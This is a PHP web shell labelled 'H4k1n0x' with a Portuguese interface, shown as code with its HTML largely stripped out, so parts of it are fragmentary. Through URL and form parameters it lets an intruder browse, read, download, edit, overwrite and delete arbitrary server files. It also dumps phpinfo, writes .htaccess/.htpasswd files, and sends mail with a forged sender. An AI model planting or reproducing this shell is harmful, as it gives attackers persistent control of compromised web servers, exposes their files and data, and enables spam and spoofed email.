';
$t1 = '';
$t2 = ' ';
$t3 = getenv("HTTP_HOST");
$s = $_GET["s"];
$cmd = $_GET["cmd"];
$Command = $_GET["Command"];
$Nome = $_GET["Nome"];
if ($cmd == 'input'){
$local = $_POST["local"];
header("Location: ".code("cmd=manager&dir=".$local."")."");
}
if ($cmd == 'phpinfo'){
if (print("H4k1n0x [ PHP INFO ] ") AND @phpinfo()){
exit;
} else {
echo "H4k1n0x [ PHP INFO ] ";
echo "";
exit;
} }
$dir = $_GET["dir"];
$software = getenv("SERVER_SOFTWARE");
if (@ini_get("safe_mode") OR strtolower(@ini_get("safe_mode")) == "on"){
$safemode = "ON (Seguro) ";
} else {
$safemode = "OFF (Não Seguro) ";
}
function code($link=''){
$cmds = array('cmd','Command','s','dir','ArquivoV');
$phpsl = $_SERVER['PHP_SELF'].'?';
$novo = explode('&',$link);
foreach($_GET as $Ch => $v){
$var = 1;
foreach($novo as $bar){
$exp = explode('=',$bar);
if($exp[0] == $Ch)$var=0;
}
if($var){if(!in_array($Ch,$cmds))$phpsl.="$Ch=$v&";}
}
$phpsl.=$link;
return $phpsl;
}
if ($cmd == 'baixar'){
$Arq = $_GET['Arquivo'];
@ob_clean();
$arquivoB = @file_get_contents($Arq);
header('Content-type: application/octet-stream');
header('Content-disposition: attachment; filename="'.$Nome.'";');
header('Content-length: '.strlen($arquivoB));
echo $arquivoB;
exit;
}
if ($cmd == 'excluir'){
if (@unlink($Command)){
} else {
echo "Arquivo não pode ser deletado";
} }
if ($cmd == 'ArquivoV'){
$Command = $_GET["Command"];
function VPgna($Command){
$ext = strtolower(substr($Command,strrpos($Command,'.')+1));
$src = array('php','php3','php4','phps','phtml','phtm','inc');
if(in_array($ext,$src))highlight_file($Command);
else echo ''.htmlspecialchars(@file_get_contents($Command)).'
'.$varBar.'
!H4k1n0x!
Software: '.$software.'Safe-mode: '.$safemode.'Info: ';
$diretorioC = scandir($input);
$numeC = count($diretorioC) - 2;
echo ''.$numeC.'
Total
[ Manager
] [ Passwd .ht* ]
[ Mail ] [ ';?>','phpinfo','width=800,height=600,scrollbars=yes,scroll=yes');void(0);"> ] [ Sobre ]
Nome Tamanho Modificação Permissão Grupo Ferramentas ';
while(@$dirs = $dir1->read()){
$is_dir = $is_dir1.'/'.$dirs;
if (is_dir($is_dir)){
echo '
[ D ]'.$dirs.'
Pasta
'.date("d/m/Y H:i:s",filemtime($is_dir)).' '; ?>
Abrir ';
} }
while($arquivos = $dir2->read()){
$is_file = $is_file1.'/'.$arquivos;
if (is_file($is_file)){
echo '
[ A ]'.$arquivos.'
'.filesize($is_file) . " bytes".'
'; print date("d/m/Y H:i:s",filemtime($is_file)); echo '
'; echo permissao($is_file); echo '
'; echo $_ENV["APACHE_RUN_GROUP"] . ' / ' . $_ENV["APACHE_RUN_USER"]; echo '
Editar | Baixar
| Excluir ';
} } echo '
';?>
';
} elseif ($cmd == 'editar'){
if ($s == 'salvar'){
$script = $_POST["script"];
$arquivo = @fopen($Command,'w');
@fwrite($arquivo,$script);
@fclose($arquivo);
} echo '
';
} elseif ($cmd == 'password'){
if ($Command == 'pdw'){
$uroot = $_POST["uroot"];
$upass = $_POST["upass"];
$umesa = $_POST["umesa"];
$udir = $_POST["udir"];
$acess = 'AuthName "'.$umesa.'"
AuthType Basic
AuthUserFile "'.$udir.'/.htpasswd"
Require valid-user
';
$hta = @fopen(''.$udir.'/.htaccess','w');
@fwrite($hta,$acess);
@fclose($hta);
$pwd = "".$uroot.":".$upass."";
$passwd = @fopen(''.$udir.'/.htpasswd','w');
@fwrite($passwd,$pwd);
@fclose($passwd);
echo "Proteção aplicada";
}
echo '
';
} elseif ($cmd == 'mail'){
if ($Command == 'enviar'){
$de = $_POST["de"];
$para = $_POST["para"];
$assunto = $_POST["assunto"];
$mensagem = $_POST["mensagem"];
global $de;
if (@mail("$para","$assunto","$mensagem","From: $de")){
echo "";
} else {
echo "";
} }
echo '
';
} elseif ($cmd == 'sobre'){
echo '
'.$varBar.'
Nome:
Versão:
Autor:
País:
Site:
Email:
';
} else { echo '
'.$varBar.'
Manager -> Gerenciador de Arquivos [ Editar,
Baixar, Excluir ]www.Attack-H.org
';
} echo '